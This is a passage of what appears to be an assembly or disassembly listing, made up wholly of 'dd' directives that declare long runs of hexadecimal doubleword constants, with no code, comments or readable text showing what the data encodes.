6923306Ah, 6338E858h, 0EA654600h, 0B071F270h dd 0A290A0F5h, 84AB0045h, 0D19A4DECh, 0F23065E7h, 0A30C90F7h dd 1E9CE8C2h, 8A67F9h, 0ADEF53AFh, 0C1004ECDh, 0F434475Ch dd 0DE9E13h, 1D70685h, 0A82C59E2h, 0F0E7F800h, 12C6FF82h dd 0AF2D0011h, 10AE766Bh, 40043B0h, 7E1B48B9h, 45A14Fh dd 9AF20BCAh, 0E8A30DD9h, 32AD99A0h, 0AC8B8607h, 0A67084D0h dd 1780E4A0h, 0F8CF58Fh, 3D87BF0Ah, 2A93D0BBh, 0B700F277h dd 4FA24D9Bh, 0FC0924h, 0B127314Ch, 5F296EEEh, 57008CEAh dd 0B8DE3D86h, 7C67ECEDh, 0A1AB005Bh, 8969DC12h, 0DA0034BCh dd 986CFB7Bh, 25BE563h, 0F5A2D19Dh, 0C5C00CEDh, 681C4712h dd 80006C9Ch, 0AF69C326h, 0A15A0044h, 4DE6CBDBh, 5B002D8Ah dd 6B2467DAh, 541248h, 0F07B4C7Dh, 0FECE4028h, 69EA60BDh dd 0E10F00C8h, 0F205D204h, 124C9B5Ah, 528403F9h, 801F4D10h dd 0EC8C38h, 296B58AFh, 802E7BB8h, 9106881Eh, 0D7055740h dd 0C7C39Eh, 2D12D530h, 652553A8h, 0DD888A03h, 0F821B947h dd 0F03B0495h, 9F19C089h, 802F20C3h, 8426500h, 0F7C1C84Eh dd 7EE40002h, 0F6624069h, 1E004792h, 0D16703A7h, 0A96CBh dd 0CA20C27Fh, 1933E997h, 16EF5F00h, 0F7427456h, 3911DC5h dd 0E1DA40E5h, 0F652862h, 5C2C6100h, 0B94E10A1h, 47523942h dd 7F1BCB00h, 0CC1CB03Fh, 3CF78E00h, 5BE2676h, 81F4001Ah dd 0BBE1D00Ch, 2A00490Ah, 0DDF3C88Eh, 663392Ch, 8AE2665Ch dd 8903313Bh, 0F0CD73E1h, 8F1000B3h, 7295C434h, 851EE91Bh dd 8609BEEBh, 5F2C00AAh, 0A2FCD9h, 0FB8CF405h, 473DF998h dd 0EA919200h, 0A504DCE5h, 0FDD90015h, 17EE2924h, 32481BFh dd 80397D84h, 10DA092Fh, 70AFA76Fh, 40DC00A5h, 793393A0h dd 0CA0F69EAh, 0C03FF1F3h, 950587D0h, 0FB32CDBh, 0D5702743h dd 598D3B09h, 24D607EDh, 8C01A9E0h, 0F3860035h, 39686B5Dh dd 5002585h, 0F62D782h, 0F3604C8h, 0CBFF65ADh, 83781921h dd 9040CAB0h, 4000B28Ah, 0FE5964Dh, 0F326FE0h, 0A1EA1B27h dd 48727BE0h, 171EB771h, 807A0FA2h, 0F62B2AE8h, 4F4C82h dd 7631A6E6h, 0E43AE0C8h, 0B83C6400h, 38F9CF63h, 94C201F8h dd 0CA99DC6Ch, 9C944140h, 1F55CC45h, 6924FE00h, 0CD5958AEh dd 8CA20091h, 6BFC4B1Ah, 11EEE812h, 3F60FFEEh, 9D070938h dd 0D1740FEFh, 0C560505Eh, 5D2A12E0h, 5513BB00h, 5F632D5Ah dd 0DA5700C0h, 673C33Bh, 938111Ah, 0E46428A8h, 0E9AC320Eh dd 584A2C0Fh, 93D93A23h, 0A13FF401h, 0C04FE17Fh, 2B3D1B22h dd 0F8F18486h, 0B480F20Ah, 665079h, 2DA0BF0Ch, 8D5824FFh dd 1884600h, 0F67D3B3Ch, 7037005Ah, 14D80C5Dh, 2B00ADA9h dd 5813858Dh, 38FF92h, 16805154h, 0C48B22C0h, 0ED9B6C00h dd 0F7C9085Eh, 0DD350788h, 609C2CB3h, 8C4322BAh, 0C6928D00h dd 9FC3E471h, 84FA5067h, 0EAD2134Eh, 0A7B8005Eh, 0E0829460h dd 62495800h, 0D5A40CFFh, 0CA5D00C8h, 31543A5Ch, 100E0A1h dd 8FD074D1h, 0BAE12h, 0C2C6435Fh, 652740A5h, 22812913h dd 2034A04Fh, 0D1423CE6h, 1FB100FBh, 68DBB5B6h, 2870B0A8h dd 0BCFD960Eh, 0E0C08F2Bh, 61ED0C91h, 18DBECDCh, 485CA86Ah dd 7E003009h, 47F2B7D4h, 0CB3EC98h, 5386E6A6h, 0D7005020h dd 5CAD60EEh, 388488h, 447DF4C8h, 0A7CCD125h, 0E9B7CF00h dd 1D63B14Bh, 0ED291428h, 316F0D4h, 0B8DE0070h, 3662E896h dd 58E2F601h, 0AC6773Bh, 60F853CCh, 9668685Bh, 30E7E57Fh dd 83021B30h, 0E37DF7EEh, 0DA0E087h, 0C04C70CFh, 6E356021h dd 790F83D2h, 8F2A13DFh, 639AC38Bh, 353FBDDh, 33E43F80h dd 0F0F7BCBEh, 85B4FB09h, 0A99F591Dh, 78078213h, 0FEB01AADh dd 91A33Ah, 5C9397BAh dd 676C62AFh, 0B84C9E2Ah, 87141500h, 0ACA3754Bh, 0D4C1001Bh dd 0BFEDD502h, 0C80707A5h, 7728BBA0h, 0D00F5C20h, 23710E83h dd 4FE0E6A4h, 0BA94705h, 0D8D0C01h, 83E860FAh, 3EE906E4h dd 0B8BCEB26h, 0B184CD87h, 4BD40071h, 0FE3BA787h, 412E000Dh dd 0D9767736h, 0A25F3A0Ah, 9B8CEE3Bh, 0A9101A7Eh, 67E1EF5Bh dd 0D0FE0h, 62A76754h, 801E99F1h, 101CE074h, 948F7DAAh dd 8007F74h, 57B06529h, 1FFA000Ah, 71A4F212h, 1003D0F9h dd 2A1B53A7h, 0E1A8A04Eh, 16D6000Dh, 279F9B0Ah, 33010E43h dd 0DE2C6C59h, 9885E0E4h, 0D04C54EFh, 0B6D40B34h, 0C8364018h dd 7ED5E838h, 10585088h, 1C40F5DEh, 7B331E66h, 1B1900C3h dd 4F12AD74h, 7A054815h, 8FB5B25Dh, 300B5B81h, 8137C0h dd 0AB275158h, 59EA5C4Eh, 0CEFF6300h, 6899A3B2h, 7A3B004Dh dd 3EB67914h, 6E00A109h, 6BBFF90Ch, 8F7087h, 94F6059Dh dd 0AC1F439Fh, 27E65F00h, 59455C35h, 0C62500E5h, 1DE91CCCh dd 0BD003167h, 3FDF5FB8h, 0EBF64Bh, 33288650h, 4324AE7Bh dd 79FF938h, 3DDF987Dh, 28FFEF0h, 9477C3Ah, 0A584491Ch dd 0EA6D2501h, 8B7B70F7h, 0AC126A01h, 0F0EBE4C8h, 58B31834h dd 40000858h, 5CA930FEh, 0D900C1DEh, 0D231C353h, 0EE5E2160h dd 0FAF528DAh, 475F00A4h, 56E37524h, 0EE00056Fh, 0C81C4252h dd 1848C44Dh, 68747F14h, 0A220DDD4h, 850B0051h, 0DF2273CFh dd 20CE9786h, 0D660A0D2h, 353DE65h, 45553AFCh, 103C52DDh dd 0B3B68E15h, 5047B3F7h, 0C6401E4Ah, 3C16078h, 0BA097F01h dd 211C24F6h, 807C6718h, 0EEC51C43h, 94074FDh, 0F60FB7Fh dd 0C821C02Eh, 50F1EBE8h, 9B615580h, 4E2B8D00h, 19B9C760h dd 724A00FCh, 3EDBB03Dh, 87037042h, 0EB9AC254h, 0B749001Dh dd 3F3A38D5h, 9C00B216h, 0F0A80C6Bh, 0C4ABC6h, 87248673h dd 4C8BE802h, 75AAFD01h, 57FC9B11h, 800BC2D4h, 0AB004B09h dd 0ECBA66B5h, 2CB1E8Ah, 6593045Ah, 0CA405422h, 0B50D064h dd 2800C23Ch, 0F5FD90A8h, 40387Ch, 5DFA65C0h, 66FFCF3Bh dd 0C892D400h, 0EF8D2429h, 0FC1805E2h, 40561112h, 0A56EC5C4h dd 8CEC5F98h, 0ADAF401h, 1FF6BDCFh, 0A7D5A450h, 0F84700BCh dd 7F72D1Eh, 0E90078EBh, 0F06113FAh, 115409h, 694295D7h dd 2E7F726h, 4E58910Fh, 0DF69DA12h, 0A39B43C0h, 0E247442Ch dd 16051930h, 438507FEh, 0D07FFB6Ch, 79B6BAB9h, 0D4A45EEEh dd 0DD809B80h, 93677B1Fh, 739CE25Dh, 0B0751700h, 0DEA872h dd 59F255D2h, 0C829FCF4h, 508A49h, 3F78BC09h, 72B53CFh dd 0B9EBB34Dh, 65E16CF7h, 0A40F94B0h, 0E0E49FBFh, 0DC0799BAh dd 1B870036h, 0AEB12BA1h, 74036AD4h, 54047E41h, 86EC8053h dd 6595004Bh, 9D1D6087h, 50698EDDh, 0A79380D9h, 2E3EC7Eh dd 0AF241BA8h, 3C614841h, 706370F3h, 7E217500h, 80C5A46Ah dd 48D04D89h, 0D8013F00h, 71A8658Eh, 8088093Dh, 394E7EA0h dd 50BD44h, 1CA16253h, 0DD9825B9h, 0B94A454h, 80CCF648h dd 3F316269h, 0EB76046Ah, 0C0DC0193h, 0F670BD2Eh, 0DE286FE4h dd 87EC1C8Ch, 0AF01447Ah, 2F997F90h, 0B9927083h, 9B90200Ch dd 3D005733h, 0DE32E359h, 0A801CB23h, 92C187A4h, 7C9E064h dd 0C1F5DA9h, 0A194C0BDh, 0A390D0A6h, 3118F633h, 0EBF8F007h dd 55B0715h, 0E1CB7763h, 0C565764Eh, 0E841F1DDh, 0D354A88Ch dd 6702428Ch, 1B0F51DFh, 0F444CAh, 0C7E2FCCFh, 0DEAC7372h dd 9859D300h, 7ECE935Bh, 0D8823068h, 0B434FA41h, 0CBE6F900h dd 0BE1D9ADBh, 1A9101BDh, 2DFB7D40h, 6288500Dh, 0FA09643Dh dd 8277C8BBh, 43672660h, 73C1C129h, 0B60B9040h, 36753B4Fh dd 0B0807863h, 0E4987FE2h, 0B77C8AFEh, 3BB42400h, 6F6AA0Eh dd 78900015h, 67C78869h, 87016F1Dh, 2FF44E99h, 6B718CB9h dd 1104418Fh, 9900D015h, 0FDF2EB21h, 0CC007EA1h, 0E0976D91h dd 4287AA0h, 7D4D1834h, 6E2AC068h, 400674Ah, 6D63DBBCh dd 7C7811B1h, 752101FBh, 0D51B9C9Fh, 82A05113h, 0F37180DAh dd 0B0FD9232h, 127518h, 0E7536D42h, 0C39D2EFFh, 8C915F0Bh dd 929C10A0h, 0C68603C5h, 26D31B09h, 99B85150h, 0A711CE00h dd 0CF8A6029h, 4ADE07AAh, 0BB0E519h, 902F0180h, 9F0A6202h dd 0BC432AFCh, 8C01AB93h, 6A9635E2h, 227ACD8h, 84B96C8Ch dd 304BC382h, 43EEDCC8h, 57377400h, 0A46D5DD7h, 0B5500585h dd 927BCD9h, 1880EEE8h, 0AC94A010h, 2AE31800h, 6F0460A7h dd 89E7184Bh, 0B86B51C4h, 5D9C8D00h, 7311F28h, 1EA4F470h dd 4326EB13h, 7A5B5780h, 0A90024BBh, 0F2E075B2h, 1BD1848h dd 3E177D04h, 2A7F0399h, 57B03A0h, 0F5E873FEh, 0DB8C402Dh dd 225A961Bh, 3F89C1Fh, 4A7EEE80h, 102C27h, 3706F199h dd 0CEF369DFh, 3CA56307h, 18E02521h, 7DA440h, 8F96B35Dh dd 0C9ADE619h, 0B01227Fh, 81F0C21h, 2982FC17h, 0E04C1409h dd 7028D981h, 0E542FCAAh, 41CEC100h, 61501C95h, 8918034Bh dd 5B938A4Dh, 1893858h, 3B73D9BAh, 0DE309D1h, 0D246AF51h dd 8504E020h, 0D2436FCh, 9D13D662h, 5E539400h, 0B11827h dd 7DA98A63h, 9B5526Ch, 8E30D878h, 23E2614Fh, 0A189086Eh dd 6B9FB93Bh, 6F374BC0h, 18BC858Eh, 18AFCF19h, 0BF50CE7Ch dd 7560F8A3h, 0B661EC58h, 221308FBh, 57408F89h, 7D19FBAh dd 7C97DB63h, 0C6C26084h, 1F611050h, 5A267169h, 0E0933180h dd 75A70B27h, 29E28F01h, 88351F2Dh, 5D394880h, 78CD9225h dd 3498ED14h, 0DE3FDCh, 3B94C397h, 526E0D13h, 21E9C26h dd 4A9C370h, 8DD0FDFAh, 0B105F01Ch, 131063DCh, 77BAA440h dd 3D4641BEh, 389E6C95h, 2A8047CCh, 68DAE014h, 9F00CB27h dd 114DD746h, 94CF9Dh, 0B595C185h, 42DB3726h, 3C8F84A0h dd 0E1D9A660h, 0E3320818h, 73A60h, 0B593F6FCh, 2A409AA6h dd 0DB690E06h, 3E31B73Bh, 1FF22E14h, 19761E93h, 704C19A1h dd 0E5F8B6A1h, 5B5DC00h, 2D16FEB8h, 0D1452430h, 911D8300h dd 6FD879F8h, 0CC00805Fh, 7636D9A3h, 1979519h, 0B50ED0E6h dd 401B23D1h, 9D64CE7Ch, 0CC1D9E28h, 0C66C1E00h, 0C3EE37F8h dd 50560CFFh, 1089180Eh, 0A0391960h, 425B96h, 13BF6FFBh dd 33997620h, 6A2427F8h, 930060C8h, 0D49D698h, 0EF4C00C1h dd 7748C5C9h, 50024F24h, 261BC4EEh, 8DD4A825h, 0F4019020h dd 9FCDD794h, 62F4F850h, 86B2443Ch, 2F2A0700h, 5EA5640Eh dd 0F62B1D1Ch, 50544087h, 47576669h, 0F4889B54h, 15E03500h dd 0A45D8668h, 362D09C9h, 380E0D6Ch, 0F11E1F31h, 6A0FAC00h dd 581A01h, 948E6768h, 0EEAA38E1h, 8F112300h, 1913787Eh dd 7CAC0CB1h, 0E0415D47h, 9961D700h, 0B9F054D8h, 22193817h dd 6DF94080h, 7B245AE2h, 66771302h, 9047AFB3h, 7E9A9BD8h dd 9FF301A5h, 0BCCB8BCh, 2AD26043h, 19506414h, 0ADE08EBCh dd 0C3E071A5h, 557C0A92h, 40CC883Ch, 7D225FFh, 0D6995600h dd 115F73A2h, 0B7A0064h, 0F568AEDAh, 0AF0FFA24h, 3D1A0DE1h dd 0EFB56C01h, 0F8223CE0h, 589B9C00h, 0EE129182h, 0F323D400h dd 36C4B5A8h, 0BAE8CDh, 0FFF04C55h, 891FBEAEh, 99428E30h dd 1F5A2295h, 0C4C694h, 9FC371A9h, 0E06F409h, 88465036h dd 38D700C1h, 0F7D9D8BCh, 7F01E243h, 0BE51A7FDh, 52D42F4Bh dd 67B70490h, 970B37D1h, 10903938h, 54001CDAh, 80EF31BFh dd 0DAB73h, 58C0C38Dh dd 5DE18213h, 46E2DE0Ch, 2430719Ch, 0E4ECB2h, 6CF3F029h dd 0AE269841h, 531A77C6h, 0CCC1859h, 31EE0087h, 1524C62Ah dd 6E0158FFh, 29CF2139h, 29809046h, 7B2B3878h, 0A3006157h dd 653E349Ch, 6303ACC6h, 559AB906h, 46C58E8h, 34AAAF04h dd 6888525Fh, 17BF0298h, 781049D4h, 426F4080h, 541FF895h dd 0DE80ED90h, 0E99E6B08h, 4446FED7h, 127CFF8Fh, 5A5F1B00h dd 0DE3F8B1Eh, 235700AAh, 0FAE7CC92h, 4730895Eh, 21C33197h dd 30070594h, 0C2668E92h, 84057D7h, 18002A49h, 0F7B47F23h dd 0C60E2ED1h, 109386C1h, 19E544h, 1D984589h, 0AEDCF512h dd 0A145E498h, 298015D5h, 830AA856h, 213C47F5h, 96861ECDh dd 6CCF309Eh, 6779C032h, 7F8EFCh, 0E6E4807Bh, 0F7A9ADA0h dd 8B612301h, 47FBE2F1h, 0F0FC48h, 3F276E20h, 0AB98E71Fh dd 6795C004h, 908213EFh, 60E719C1h, 0AD18AC78h, 59195C92h dd 0A98B600Eh, 2E8F8E97h, 50470B18h, 0D2C421h, 17832B60h dd 8953DBE2h, 0E016DA00h, 0D047FDA3h, 0DE07B8D1h, 471C24E1h dd 0B0B78764h, 854D82F3h, 80001B72h, 0B6FCF86Dh, 0FFA42A96h dd 9F2830h, 13F35CF5h, 0C192F189h, 51201730h, 0B48224Ch dd 15E72C9Eh, 47B59800h, 0DC16B63Ch, 0D430895Ch, 97A4BCFh dd 15A37364h, 0BFE0C890h, 0B76B021Dh, 0E4AE2A41h, 0B4306841h dd 0AD3B30BEh, 65F627F9h, 932C6100h, 83A8EB64h, 0AE793DE1h dd 0F9F10500h, 0C2C4497Ch, 538AE400h, 0C3B52D8Ch, 87021D98h dd 45E1D6BAh, 0D0242CE8h, 790D8F28h, 6A9E7C02h, 205B46EDh dd 0DF249197h, 0D4094276h, 6406999h, 2152CBh, 6BCDD036h dd 0C21DAC74h, 7930F609h, 44778247h, 0BA49E0BDh, 0AC140164h dd 23EFAF53h, 9192F072h, 708EF303h, 0E23ED53Fh, 208062C3h dd 18BFF284h, 0ADB100D1h, 0BD5D38CEh, 4200E071h, 37013192h dd 3189C36Ch, 0A5894D7Ch, 98082041h, 30F9D5FEh, 0E444FD3Ch dd 30796268h, 0C0204465h, 5AF0247h, 0CED8F996h, 35880FC9h dd 0C0FF05C5h, 4E74ADE4h, 4C72CF58h, 71450084h, 0CA902BA8h dd 62E20014h, 0D10880C7h, 69C6FD32h, 617847h, 4B81C48Ah dd 185E4214h, 6C96DA24h, 0C1750E81h, 0E020A6DCh, 23C50C7Fh dd 0F0395947h, 9400A977h, 0FA679981h, 0D818ECA8h, 7BD7A0D8h dd 3CBE48h, 0CC3E6AEAh, 428FFAh, 0F8141F15h, 17C2E0AEh dd 0E900E091h, 0CBDC69D8h, 0F78C0074h, 0F5908408h, 6B017BBDh dd 14098794h, 0A44C9989h, 465D24A2h, 0E2CE408Ch, 8C0097F1h dd 0EFBACBAEh, 15C5EC8h, 779334C3h, 60D42486h, 0D15C6C48h dd 852264h, 157FD039h, 2B18E2F0h, 0DBBC5516h, 0B3419500h dd 5CFFDAC6h, 0D06B209Bh, 0D3C06200h, 0C774C3FCh, 5BDF102Ch dd 29BD5A00h, 0C18D4706h, 994BF459h, 42DC4089h, 6900109Ah dd 7723E195h, 2ED1C1C9h, 16240CDAh, 86580872h, 60D26D8Eh dd 0CCF941E6h, 88360111h, 0B007088Eh, 0FAB8C54Eh, 7C4FA468h dd 2FB89050h, 0C5589603h, 39A474Ah, 0AA8A0D49h, 0D8290BFCh dd 1405ECCDh, 5CCC56E7h, 84A7005Eh, 1B508679h, 8979CD6Ch dd 76180099h, 14DCE0A8h, 0B8260493h, 0E0D6B80h, 0F800B7DEh dd 8E071FA5h, 13F2837h, 0CDE94EC8h, 0F41E9212h, 7D3489CBh dd 9030395Fh, 1F783AECh, 258BDF6h, 0ACA0E50Fh, 0C16D8880h dd 62147197h, 68C218h, 0AAE0D23h, 0B9474E45h, 42BE00A8h dd 0F1B7FB6Fh, 0CD417000h, 0DCAA9371h, 8F530B8Ch, 6081BB74h dd 30670D57h, 2E005CD4h, 0DA8BBF1Dh, 5105DD04h, 518083ACh dd 5F60D670h, 371DE508h, 27406B49h, 0ACDBDE66h, 4440B0EAh dd 1C01FDB5h, 7D7CCB62h, 89D11392h, 0C10DC080h, 1853CD80h dd 3A3D822h, 9F7CC0A7h, 0CEE299F1h, 3888922Fh, 2FF076Fh dd 0AEEB419h, 581F04ECh, 417482B0h, 299EB20h, 0CCB350A5h dd 4CDB262Dh, 0AAF60428h, 0C25CC458h, 0BA20E8A0h, 7C4F55CEh dd 0C571C2h, 2DC377CDh, 0B41C50D2h, 0F69729C0h, 26FD814Eh dd 11482234h, 0A558001Bh, 96C1E042h, 189F17E5h, 0C60820DCh dd 29C01A10h, 0F6CEF3BDh, 0C2690BCCh, 0A4116889h, 38C7247h dd 0EA0B832Ch, 0B5CEE84Ch, 0A47E580Dh, 0D1148D22h, 805C1B34h dd 0E696F647h, 44C303CBh, 9E634F23h, 4C68BCEAh, 4E60A7ADh dd 76247369h, 62E102B3h, 49DCB2D7h, 0A600B859h, 94275221h dd 5C060085h, 1B6C6E96h, 8963D918h, 0A4BB3B81h, 69E0EB0Eh dd 0DC7A7325h, 41C98600h, 0D11FB999h, 13E77477h, 9716508Ch dd 7F7C0128h, 7BE4483Bh, 93C1C00h, 238DA5C3h, 6BE1096Fh dd 4000599Ah, 0CF61D9A9h, 8C9B732Eh, 93E83800h, 62052478h dd 7434C052h, 0C7000866h, 1C275CAAh, 29B7EAh, 654EF05Fh dd 45ACDDBDh, 848E432Ch, 567F0260h, 0E9871DA5h, 0FBC30052h dd 0D84DED1h, 6AA87A03h, 225C14BBh, 0D900B6C0h, 3EBA4CC3h dd 603C2E8Ch, 0A134198Ah, 3200F8EAh, 0FD855C6h, 244DFD9h dd 0E220825h, 7841AD01h, 9574207Fh, 162488h, 610D1E38h dd 7158CFADh, 0B0864C90h, 0C55B1700h, 7BF71B77h, 9BEA0097h dd 0A2D3DB43h, 0F316723Ah, 8401EEF8h, 0C7A08DF1h, 18A6CFD0h dd 84CAE09Dh, 0B45C55A2h, 782200h, 2F7CB8D5h, 0A089F81Fh dd 12194360h, 4857FAC5h, 4A835C47h, 0CCC0EA8Dh, 1C017CBCh dd 30852B04h, 2D10D6h, 36D3FF00h, 239BA1CFh, 9294A01Ch dd 52288881h, 0E7C0CC5Eh, 0AC0A124Dh, 0D9602346h, 0F04EA0C7h dd 0BF0A8509h, 90E95275h, 0D047D80Ah, 8BDA2340h, 94720F30h dd 632F2B57h, 0D1140257h, 0FC98E9C2h, 0F7005474h, 0A4A86A69h dd 672E7Fh, 8081A6A7h, 0CEA2CDD9h, 46092890h, 80F58E04h dd 0C4418ACAh, 39D5482Dh, 0EEC6FD00h, 5B2C7BAh, 3C40F09Ch dd 0DDE187h, 0AA95AB7Eh, 0D889738Fh, 2440104Bh, 9BF3B7D4h dd 0A0330051h, 4A979113h, 20092DFAh, 4C9DE23h, 0CC0EE15h dd 554007h, 56C83ECFh, 11703BCEh, 1090680Ch, 70951FEh dd 99D645C6h, 0FDCDA0BBh, 0EB00A121h, 0E97BBE0Bh, 13E7960Ch dd 88ACCF19h, 8B00CE34h, 0FBF18E69h, 126ED81h, 8595A063h dd 0E6353982h, 108864C1h, 14C854h, 13B8174Bh, 0B6756C21h dd 1101FB77h, 0DC4861E5h, 0B4404D44h, 3AC4E0D8h, 8500CC92h dd 78861C98h, 0EE193D5Fh, 781B03Bh, 0B858C0h, 9B5BB6D5h dd 1BE98EE0h, 22637C13h, 7740D001h, 0C4405D60h, 0B0AE73A1h dd 0F0651BCCh, 88B068D5h, 0BC941072h, 0EF361A81h, 66D02864h dd 0A35839DFh, 0CEAD027Dh, 68F14F3Eh, 80CFE087h, 2204C835h dd 46F8CB16h, 94C2A020h, 0F0A60345h, 0C66B172Ch, 0ACF34BC8h dd 0D066902Ch, 98CC0167h, 79CC1F9Fh, 0A7B3003Bh, 0F9E96F2Fh dd 0EC689426h, 0D1EEDD01h, 0A1850F0Bh, 8145DB2Bh, 70FA6108h dd 0A8026EFCh, 0A68918EAh, 0F0E89003h, 0A9604E1h, 0C0A0DCD8h dd 0ABC91DB7h, 258F4204h, 7C08B02h, 0A00BA4AEh, 587E7CB4h dd 740FF723h, 11A14E53h, 70B6DE0Dh, 4F7B7688h, 0A69CBB8h dd 0ACC89861h, 4C5F00FCh, 8D73DCABh, 0F6901622h, 2436BD05h dd 20B276AAh, 1371C007h, 9D5DE064h, 183A3075h, 84CD02C5h dd 55C1B80Bh, 60E2B541h, 71000298h, 98CC43BFh, 4ED1B2E1h dd 683C4223h, 26E36DECh, 8A02A03Eh, 940FD1FEh, 17650860h dd 5957EACh, 0D13BBA99h, 2201E21h, 0A18A41DCh, 6F8778D9h dd 77417C09h, 0E7DD3D58h, 0F7D14C70h, 1F718039h, 0A8365B8h dd 3AC0C994h, 8896F300h dd 989E7397h, 66307869h, 104B1890h, 48F41114h, 0D339C100h dd 2BDABF67h, 62090090h, 9332D2AAh, 0CF052FE1h, 3B575AC4h dd 174400C8h, 0FA7351h, 974DB1B8h, 3C5C747Ch, 0C82E8174h dd 64CC8E63h, 0ADA00A4Ch, 806C427Ch, 0C150F761h, 9E5CA989h dd 0B30A7E4Ch, 80938A40h, 6F6B1E40h, 80901274h, 79CCC8E5h dd 0B5C0107h, 0C560DA99h, 6E4570h, 470D15D6h, 12FB6266h dd 0B021974Fh, 6AF450B2h, 0E0075851h, 3DD4B450h, 414234Bh dd 0AF0183EAh, 0DC223E89h, 1E0EF014h, 45C73C09h, 7C44AEh dd 74A1C9C6h, 2C735F66h, 2783A64Ch, 9E601108h, 3DFD7CACh dd 577EA081h, 0C86DD0A9h, 87039A63h, 51458FE5h, 4CB4A489h dd 198F2A6h, 56287535h, 625250AEh, 0D2E09B4h, 12BCE846h dd 0B16D00CAh, 0F589941Ah, 0DD037770h, 0BA5CEB28h, 9D800EFh dd 7DFF55DBh, 20FD3492h, 0C90ACC4h, 77A47107h, 6FD1CEAFh dd 0ABE11D9h, 2675880Ch, 68756978h, 0E7801C94h, 0B7E3ACAFh dd 0F4154C84h, 0CB68181h, 3270C02Ah, 896C0A00h, 0EEDEA7BAh dd 543E1FBDh, 7DB500A2h, 0E34D347Eh, 9C504758h, 1F2BAB00h dd 1C8856BCh, 0C32E815Ch, 4A74FF11h, 513D8B80h, 5DCC4B00h dd 2AAACEC1h, 80C4B144h, 0EF866692h, 7B007FDCh, 9A977E69h dd 90FA99ACh, 3AECA680h, 178490D4h, 8319E226h, 9D00ED4h dd 8E0071ECh, 3C77A3CEh, 0E8F6DAFFh, 308D487Fh, 9D7828C0h dd 7100489Ah, 0A016BB45h, 5DE4Ch, 694A53FBh, 0EF25350Bh dd 0E0060D26h, 0E7482300h, 0DABA41h, 6224E46Fh, 0FD3EDC83h dd 54613B26h, 1258C43Dh, 88FF59B2h, 0AA095CD0h, 84A806FDh dd 47491418h, 1F54E090h, 0CD073A01h, 3FABE064h, 3D502270h dd 0C10B66C2h, 9880EE80h, 9C354ECEh, 84B06390h, 0C409905Bh dd 0F224809Fh, 2CA0800Fh, 4448D7Dh, 80EBCCD0h, 0DC2456DCh dd 1C59C516h, 0BCFDE8D0h, 80349B75h, 96122349h, 1814D2D9h dd 24AC89EBh, 4097D87Ah, 17989490h, 72D602A3h, 0A5DE306h dd 0B101E4E6h, 8CFFE09h, 0F3D02849h, 0F98E1382h, 5C04EF43h dd 0D0C2133Dh, 82C620A6h, 261D0298h, 72C05287h, 18BA70AFh dd 0CE0539C0h, 1D2E0A92h, 509CA47Ch, 2D18BA68h, 0D1F0E037h dd 760F7477h, 7FA800E1h, 7561505Fh, 0D1F1837h, 177A166Fh dd 0D030AF6Dh, 9019DA09h, 8262004Ah, 0C4A29E7Bh, 0F816C373h dd 5CD0A518h, 49916Bh, 0A98A8E1Fh, 389FC357h, 5912630Bh dd 0D7748083h, 294DDCC1h, 3FFC8E8Ah, 20B85229h, 3BE918C4h dd 54C118Fh, 8B1F69FAh, 0EC80D5A9h, 9409AB77h, 0F502696h dd 0AF5D40C4h, 2E09C3EEh, 7B9A8D4h, 3BE48DE8h, 7ABCCC1h dd 5D5A0884h, 0EC80E546h, 0A0ED322h, 0D3747B33h, 7F3100C8h dd 0CF6E0B25h, 3C684681h, 8D006904h, 84C04033h, 2CD7704Ah dd 1B3BD68h, 0C456AEFFh, 74E08CF8h, 0F14C08EBh, 881407Ch dd 0C0D96197h, 12001B8Ch, 31EE14FFh, 0E6EFC5A9h, 80A099AFh dd 46E633F3h, 0BA00093Dh, 8D93BB8Eh, 1A9847B6h, 605E90B4h dd 8400EC78h, 899B9C5Dh, 402015E3h, 0DE017140h, 0CDC2C911h dd 0E0FE0479h, 2849A18Ch, 48B4B630h, 0CFC04890h, 3996A618h dd 0EA001BF6h, 0EB5A3DD8h, 7C01C24Eh, 45361580h, 0F10090D3h dd 0D4D9686Bh, 0D67D8DD7h, 1071AB07h, 7350FC7Eh, 0B49A8920h dd 1DE09778h, 8F002294h, 0CCF527E9h, 98E6C35Fh, 0FAA129CCh dd 0E380BCB4h, 1CD2075Eh, 4C0F36DCh, 7C3351F3h, 7C349F07h dd 4128F182h, 9E607B5Ch, 88955026h, 863E2C9Dh, 188D040Ah dd 0D150E4C4h, 3C562C5Bh, 2E54C8h, 0F08AB196h, 833F3448h dd 0BB89B00h, 0D4F75ACFh, 887D4BF1h, 9400F41Ch, 0D3750A91h dd 2C48619h, 0EB8805A9h, 5CC1E7A7h, 0AD6DC482h, 68185024h dd 44A7F660h, 680F4C0h, 8E7DAE3Ch, 4D13C8BAh, 4D017CBh dd 0EEE690C8h, 1A49825h, 0BA839B7Ah, 706718D9h, 1D5CE70Ch dd 2CD0C03Ch, 1307E92Dh, 0C8245088h, 3850CC48h, 2752938Ah dd 0BD6C0FC0h, 71D2A0D6h, 603CEFAEh, 625231ACh, 0BE009180h dd 479F4495h, 2F06D30Eh, 0C8204643h, 3A7483F7h, 0C000A978h dd 0E7F9167Eh, 613BED2Ah, 0E69549A3h, 3504F848h, 3D61470Bh dd 1A40EDAh, 3C6A557Ch, 0F19C032Eh, 40CACF88h, 720188D9h dd 0EC25C3B5h, 18722E0h, 0E4F4B3EFh, 40AE3B2Ah, 0EC9DBE78h dd 3CA01E01h, 0ABA37346h, 0FC107E8h, 7DFD3A95h, 0F17C3056h dd 722D2EECh, 87D0D8h, 0DDA77D21h, 0F4894EC4h, 5A038303h dd 0E8F79776h, 988CC690h, 1848087Ch, 0BCA095C2h, 0CB1DD703h dd 90EDF692h, 227AAC7h, 0CCDF11D4h, 24C0DC0Eh, 0AF48FF67h dd 0E8063048h, 3852204Dh, 2F80EEEh, 0DF9B1097h, 9471133Bh dd 0AAA68F03h, 0DC8BF066h, 0BAE40024h, 33EBF44Ch, 0D400B6CEh dd 8E9341D9h, 50FA4A79h, 0C075A856h, 0BA88A950h, 914A58Ch dd 8458A619h, 0D48946CEh, 0B903F4h, 8E7A3DD0h, 0DD587B06h dd 3FF18702h, 0C12447D2h, 48208090h, 6EFD00BFh, 9C9E8E97h dd 1C4BF41Eh, 427888h, 2D46321h, 8762E14Ah, 64CFF204h dd 14884741h, 26E30090h, 0F1786355h, 0B51FC2A9h, 40ECF553h dd 2350D504h, 0AF7548Ch, 38C59D0Eh, 0A0830298h, 10F9778Eh dd 0E5546200h, 1FF8136Bh, 0C1C2D32Ah, 0C5D930F1h, 0D859CE02h dd 0DC8E440Eh, 0B182980h, 765C88Fh, 984574B9h, 590A5092h dd 0D0A13843h, 80E07876h, 